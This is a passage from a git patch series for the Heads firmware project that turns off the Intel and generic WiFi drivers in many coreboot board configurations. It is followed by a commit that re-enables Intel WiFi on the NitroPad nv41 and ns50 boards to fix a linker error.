b/config/coreboot-nitropad-ns50.config index 9e5dc0ee4..dfc639dbf 100644 --- a/config/coreboot-nitropad-ns50.config +++ b/config/coreboot-nitropad-ns50.config @@ -157,7 +157,7 @@ CONFIG_DCACHE_BSP_STACK_SIZE=0x80400 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="3rdparty/dasharo-blobs/novacustom/ns5x_adl/descriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/dasharo-blobs/novacustom/ns5x_adl/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 @@ -674,7 +674,6 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y -CONFIG_DRIVERS_WIFI_GENERIC=y CONFIG_MP_SERVICES_PPI=y CONFIG_MP_SERVICES_PPI_V2=y CONFIG_DRIVERS_INTEL_USB4_RETIMER=y diff --git a/config/coreboot-nitropad-nv41.config b/config/coreboot-nitropad-nv41.config index 9484aaf51..63550fcf9 100644 --- a/config/coreboot-nitropad-nv41.config +++ b/config/coreboot-nitropad-nv41.config @@ -157,7 +157,7 @@ CONFIG_DCACHE_BSP_STACK_SIZE=0x80400 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="3rdparty/dasharo-blobs/novacustom/nv4x_adl/descriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/dasharo-blobs/novacustom/nv4x_adl/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 @@ -675,7 +675,6 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y -CONFIG_DRIVERS_WIFI_GENERIC=y CONFIG_MP_SERVICES_PPI=y CONFIG_MP_SERVICES_PPI_V2=y CONFIG_DRIVERS_INTEL_USB4_RETIMER=y diff --git a/config/coreboot-p8z77-m_pro-tpm1.config b/config/coreboot-p8z77-m_pro-tpm1.config index 34b62a718..1a60ff604 100644 --- a/config/coreboot-p8z77-m_pro-tpm1.config +++ b/config/coreboot-p8z77-m_pro-tpm1.config @@ -180,7 +180,7 @@ CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y +CONFIG_DRIVERS_INTEL_WIFI=n CONFIG_IFD_BIN_PATH="@BLOB_DIR@/p8z77-m_pro/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/p8z77-m_pro/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 @@ -489,7 +489,7 @@ CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_WIFI_GENERIC=n # end of Generic Drivers # diff --git a/config/coreboot-qemu-tpm1.config b/config/coreboot-qemu-tpm1.config index 6b344e74a..104371b7a 100644 --- a/config/coreboot-qemu-tpm1.config +++ b/config/coreboot-qemu-tpm1.config @@ -152,7 +152,7 @@ CONFIG_DCACHE_RAM_SIZE=0x90000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x4000 CONFIG_MAX_ACPI_TABLE_SIZE_KB=224 -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 CONFIG_CARDBUS_PLUGIN_SUPPORT=y # CONFIG_DEBUG_SMI is not set @@ -382,8 +382,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_VGA=y # CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y +# CONFIG_DRIVERS_MTK_WIFI is not set # end of Generic Drivers # diff --git a/config/coreboot-qemu-tpm2.config b/config/coreboot-qemu-tpm2.config index 2aba14393..aea23cf93 100644 --- a/config/coreboot-qemu-tpm2.config +++ b/config/coreboot-qemu-tpm2.config @@ -152,7 +152,7 @@ CONFIG_DCACHE_RAM_SIZE=0x90000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x4000 CONFIG_MAX_ACPI_TABLE_SIZE_KB=224 -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 CONFIG_CARDBUS_PLUGIN_SUPPORT=y # CONFIG_DEBUG_SMI is not set @@ -376,8 +376,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_VGA=y # CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y +# CONFIG_DRIVERS_MTK_WIFI is not set # end of Generic Drivers # diff --git a/config/coreboot-t420-maximized.config b/config/coreboot-t420-maximized.config index 952bae73c..173d7272d 100644 --- a/config/coreboot-t420-maximized.config +++ b/config/coreboot-t420-maximized.config @@ -149,7 +149,7 @@ CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx20/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx20/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx20/gbe.bin" @@ -509,8 +509,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y # CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y +# CONFIG_DRIVERS_MTK_WIFI is not set # end of Generic Drivers # diff --git a/config/coreboot-t420.config b/config/coreboot-t420.config index 0c709260c..f64676b2a 100644 --- a/config/coreboot-t420.config +++ b/config/coreboot-t420.config @@ -148,7 +148,7 @@ CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y +CONFIG_DRIVERS_INTEL_WIFI=n CONFIG_IFD_BIN_PATH="@BLOB_DIR@/t420/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/t420/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/t420/gbe.bin" @@ -506,7 +506,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y # CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_WIFI_GENERIC=n # end of Generic Drivers # diff --git a/config/coreboot-t430-legacy.config b/config/coreboot-t430-legacy.config index b5ef2a1b4..47bd1e161 100644 --- a/config/coreboot-t430-legacy.config +++ b/config/coreboot-t430-legacy.config @@ -149,7 +149,7 @@ CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y +CONFIG_DRIVERS_INTEL_WIFI=n CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_GIGADEVICE=y @@ -494,7 +494,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y # CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_WIFI_GENERIC=n # end of Generic Drivers # diff --git a/config/coreboot-t430-maximized.config b/config/coreboot-t430-maximized.config index d59d94f78..f4796932d 100644 --- a/config/coreboot-t430-maximized.config +++ b/config/coreboot-t430-maximized.config @@ -148,7 +148,7 @@ CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" @@ -509,8 +509,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y # CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y +# CONFIG_DRIVERS_MTK_WIFI is not set # end of Generic Drivers # diff --git a/config/coreboot-t440p.config b/config/coreboot-t440p.config index d84599f4a..4983accfe 100644 --- a/config/coreboot-t440p.config +++ b/config/coreboot-t440p.config @@ -147,7 +147,7 @@ CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="@BLOB_DIR@/t440p/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/t440p/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/t440p/gbe.bin" @@ -503,8 +503,7 @@ CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y +# CONFIG_DRIVERS_MTK_WIFI is not set # end of Generic Drivers # diff --git a/config/coreboot-t520-maximized.config b/config/coreboot-t520-maximized.config index f765817a7..6f4c09c08 100644 --- a/config/coreboot-t520-maximized.config +++ b/config/coreboot-t520-maximized.config @@ -148,7 +148,7 @@ CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y +CONFIG_DRIVERS_INTEL_WIFI=n CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx20/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx20/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx20/gbe.bin" @@ -505,7 +505,7 @@ CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_WIFI_GENERIC=n # end of Generic Drivers # diff --git a/config/coreboot-t530-dgpu-maximized.config b/config/coreboot-t530-dgpu-maximized.config index 519cd047b..691bf60a3 100644 --- a/config/coreboot-t530-dgpu-maximized.config +++ b/config/coreboot-t530-dgpu-maximized.config @@ -150,7 +150,7 @@ CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" @@ -542,7 +542,7 @@ CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_WIFI_GENERIC=n # end of Generic Drivers # diff --git a/config/coreboot-t530-maximized.config b/config/coreboot-t530-maximized.config index b7f4c2c26..0f46bb16b 100644 --- a/config/coreboot-t530-maximized.config +++ b/config/coreboot-t530-maximized.config @@ -147,7 +147,7 @@ CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" @@ -506,8 +506,7 @@ CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y +# CONFIG_DRIVERS_MTK_WIFI is not set # end of Generic Drivers # diff --git a/config/coreboot-w530-dgpu-K1000m-maximized.config b/config/coreboot-w530-dgpu-K1000m-maximized.config index 124e224ec..1c15224fb 100644 --- a/config/coreboot-w530-dgpu-K1000m-maximized.config +++ b/config/coreboot-w530-dgpu-K1000m-maximized.config @@ -150,7 +150,7 @@ CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" @@ -543,7 +543,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y # CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_WIFI_GENERIC=n # end of Generic Drivers # diff --git a/config/coreboot-w530-dgpu-K2000m-maximized.config b/config/coreboot-w530-dgpu-K2000m-maximized.config index 3b6490038..4906298a2 100644 --- a/config/coreboot-w530-dgpu-K2000m-maximized.config +++ b/config/coreboot-w530-dgpu-K2000m-maximized.config @@ -150,7 +150,7 @@ CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" @@ -543,7 +543,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y # CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_WIFI_GENERIC=n # end of Generic Drivers # diff --git a/config/coreboot-w530-maximized.config b/config/coreboot-w530-maximized.config index f2b88c496..7fa487dcf 100644 --- a/config/coreboot-w530-maximized.config +++ b/config/coreboot-w530-maximized.config @@ -150,7 +150,7 @@ CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" @@ -512,8 +512,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y # CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y +# CONFIG_DRIVERS_MTK_WIFI is not set # end of Generic Drivers # diff --git a/config/coreboot-w541.config b/config/coreboot-w541.config index 843c6246b..467fa864d 100644 --- a/config/coreboot-w541.config +++ b/config/coreboot-w541.config @@ -147,7 +147,7 @@ CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="@BLOB_DIR@/w541/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/w541/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/w541/gbe.bin" @@ -502,8 +502,7 @@ CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y +# CONFIG_DRIVERS_MTK_WIFI is not set # end of Generic Drivers # diff --git a/config/coreboot-x220-maximized.config b/config/coreboot-x220-maximized.config index 37056405b..067fe4cc8 100644 --- a/config/coreboot-x220-maximized.config +++ b/config/coreboot-x220-maximized.config @@ -149,7 +149,7 @@ CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx20/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx20/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx20/gbe.bin" @@ -508,8 +508,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y # CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y +# CONFIG_DRIVERS_MTK_WIFI is not set # end of Generic Drivers # diff --git a/config/coreboot-x220.config b/config/coreboot-x220.config index e3f86e3d2..c1f5ebba0 100644 --- a/config/coreboot-x220.config +++ b/config/coreboot-x220.config @@ -149,7 +149,7 @@ CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y +CONFIG_DRIVERS_INTEL_WIFI=n CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx20/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx20/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx20/gbe.bin" @@ -506,7 +506,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y # CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_WIFI_GENERIC=n # end of Generic Drivers # diff --git a/config/coreboot-x230-legacy-flash.config b/config/coreboot-x230-legacy-flash.config index 42f3ebadf..f843f0f5d 100644 --- a/config/coreboot-x230-legacy-flash.config +++ b/config/coreboot-x230-legacy-flash.config @@ -149,7 +149,7 @@ CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_GIGADEVICE=y @@ -495,8 +495,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y # CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y +# CONFIG_DRIVERS_MTK_WIFI is not set # end of Generic Drivers # diff --git a/config/coreboot-x230-legacy.config b/config/coreboot-x230-legacy.config index c20f280da..cb6cff727 100644 --- a/config/coreboot-x230-legacy.config +++ b/config/coreboot-x230-legacy.config @@ -149,7 +149,7 @@ CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_GIGADEVICE=y @@ -495,8 +495,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y # CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y +# CONFIG_DRIVERS_MTK_WIFI is not set # end of Generic Drivers # diff --git a/config/coreboot-x230-maximized-fhd_edp.config b/config/coreboot-x230-maximized-fhd_edp.config index dd4ead213..78e13c719 100644 --- a/config/coreboot-x230-maximized-fhd_edp.config +++ b/config/coreboot-x230-maximized-fhd_edp.config @@ -148,7 +148,7 @@ CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" @@ -508,8 +508,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y # CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y +# CONFIG_DRIVERS_MTK_WIFI is not set # end of Generic Drivers # diff --git a/config/coreboot-x230-maximized.config b/config/coreboot-x230-maximized.config index 5d85644e7..fb3b43f1f 100644 --- a/config/coreboot-x230-maximized.config +++ b/config/coreboot-x230-maximized.config @@ -148,7 +148,7 @@ CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" @@ -506,8 +506,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y # CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y +# CONFIG_DRIVERS_MTK_WIFI is not set # end of Generic Drivers # diff --git a/config/coreboot-z220-cmt.config b/config/coreboot-z220-cmt.config index fe44e047d..02391519a 100644 --- a/config/coreboot-z220-cmt.config +++ b/config/coreboot-z220-cmt.config @@ -153,7 +153,7 @@ CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="@BLOB_DIR@/z220/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/z220/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" @@ -486,8 +486,7 @@ CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y +# CONFIG_DRIVERS_MTK_WIFI is not set # end of Generic Drivers # From 3b436e53ea3bc12357812918461c6336c25a21a1 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 26 Jul 2024 22:24:57 -0400 Subject: [PATCH 187/619] nitropad-nv41/ns50: readd Intel WIFI otherwise fsp error Enabling CONFIG_DRIVERS_INTEL_WIFI=y in turn enables CONFIG_DRIVERS_WIFI_GENERIC=y which is needed. Bugfix, pushed on master without review: this is regression preventing master to report succcess for last master commit. nv41: CC generated/ramstage.o /home/user/heads/build/x86/coreboot-dasharo/util/crossgcc/xgcc/bin/i386-elf-ld.bfd: nitropad-nv41/romstage/soc/intel/alderlake/romstage/fsp_params.o: in function `fill_fspm_misc_params': /home/user/heads/build/x86/coreboot-dasharo/src/soc/intel/alderlake/romstage/fsp_params.c:235: undefined reference to `wifi_generic_cnvi_ddr_rfim_enabled' make[1]: *** [src/arch/x86/Makefile.inc:196: nitropad-nv41/cbfs/fallback/romstage.debug] Error 1 ns50: CC generated/ramstage.o /home/user/heads/build/x86/coreboot-dasharo/util/crossgcc/xgcc/bin/i386-elf-ld.bfd: nitropad-ns50/romstage/soc/intel/alderlake/romstage/fsp_params.o: in function `fill_fspm_misc_params': /home/user/heads/build/x86/coreboot-dasharo/src/soc/intel/alderlake/romstage/fsp_params.c:235: undefined reference to `wifi_generic_cnvi_ddr_rfim_enabled' Signed-off-by: Thierry Laurion --- config/coreboot-nitropad-ns50.config | 3 ++- config/coreboot-nitropad-nv41.config | 3 ++- 2 